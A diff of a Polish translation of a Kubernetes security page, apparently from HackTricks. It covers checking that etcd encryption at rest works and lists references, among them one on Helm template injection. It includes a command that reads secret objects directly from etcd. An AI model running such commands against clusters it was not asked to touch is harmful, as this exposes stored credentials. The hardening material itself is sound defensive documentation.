Data jest zaszyfrowana podczas zapisu do etcd. Po ponownym uruchomieniu `kube-apiserver`, każdy nowo utworzony lub zaktualizowany secret powinien być zaszyfrowany podczas przechowywania. Aby to sprawdzić, możesz użyć programu `etcdctl` z linii poleceń, aby pobrać zawartość swojego secret.
|
||||
|
||||
1. Utwórz nowy secret o nazwie `secret1` w namespace `default`:
|
||||
|
||||
@@ -486,26 +547,26 @@ Dane są szyfrowane podczas zapisu do etcd. Po ponownym uruchomieniu `kube-apise
|
||||
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
|
||||
```
|
||||
|
||||
2. Używając `etcdctl` commandline, odczytaj ten secret z etcd:
|
||||
2. Używając `etcdctl` z linii poleceń, odczytaj ten secret z etcd:
|
||||
|
||||
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
|
||||
|
||||
gdzie `[...]` musi zawierać dodatkowe argumenty do połączenia z serwerem etcd.
|
||||
gdzie `[...]` musi być dodatkowymi argumentami do połączenia się z serwerem etcd.
|
||||
|
||||
3. Sprawdź, czy zapisany secret jest poprzedzony `k8s:enc:aescbc:v1:`, co wskazuje, że provider `aescbc` zaszyfrował wynikowe dane.
|
||||
4. Sprawdź, czy secret jest poprawnie odszyfrowywany przy pobieraniu przez API:
|
||||
3. Sprawdź, że zapisany secret ma prefiks `k8s:enc:aescbc:v1:`, co wskazuje, że provider `aescbc` zaszyfrował wynikowe data.
|
||||
4. Sprawdź, że secret jest poprawnie odszyfrowywany podczas pobierania przez API:
|
||||
|
||||
```
|
||||
kubectl describe secret secret1 -n default
|
||||
```
|
||||
|
||||
powinno odpowiadać `mykey: bXlkYXRh`, mydata jest zakodowane, sprawdź [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) aby całkowicie zdekodować secret.
|
||||
powinno odpowiadać `mykey: bXlkYXRh`, mydata jest zakodowane, sprawdź [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret), aby całkowicie zdekodować secret.
|
||||
|
||||
**Ponieważ secrets są szyfrowane przy zapisie, wykonanie update na secie zaszyfruje tę zawartość:**
|
||||
**Ponieważ secrets są szyfrowane przy zapisie, wykonanie update na secie zaszyfruje te data:**
|
||||
```
|
||||
kubectl get secrets --all-namespaces -o json | kubectl replace -f -
|
||||
```
|
||||
**Final tips:**
|
||||
**Końcowe wskazówki:**
|
||||
|
||||
- Staraj się nie trzymać secrets w FS, pobieraj je z innych miejsc.
|
||||
- Sprawdź [https://www.vaultproject.io/](https://www.vaultproject.io) aby dodać więcej ochrony do swoich secrets.
|
||||
@@ -522,12 +583,13 @@ https://sickrov.github.io/
|
||||
https://www.youtube.com/watch?v=X48VuDVv0do
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://kubernetes.io/docs/concepts/storage/volumes/#image
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/
|
||||
{{#endref}}
|
||||
- [Charting your way in: Helm template injection](https://synacktiv.com/en/publications/charting-your-way-in-helm-template-injection.html)
|
||||
- [Helm template functions and pipelines](https://helm.sh/docs/chart_template_guide/functions_and_pipelines/)
|
||||
- [Helm chart schema files (`values.schema.json`)](https://helm.sh/docs/topics/charts/#schema-files)
|
||||
- [Argo CD projects (`AppProject` restrictions)](https://argo-cd.readthedocs.io/en/latest/user-guide/projects/)
|
||||
- [Argo CD multiple sources / external Helm value files](https://argo-cd.readthedocs.io/en/latest/user-guide/multiple_sources/#helm-value-files-from-external-git-repository)
|
||||
- [Kubernetes ValidatingAdmissionPolicy](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
|
||||
- [https://kubernetes.io/docs/concepts/storage/volumes/#image](https://kubernetes.io/docs/concepts/storage/volumes/#image)
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/](https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user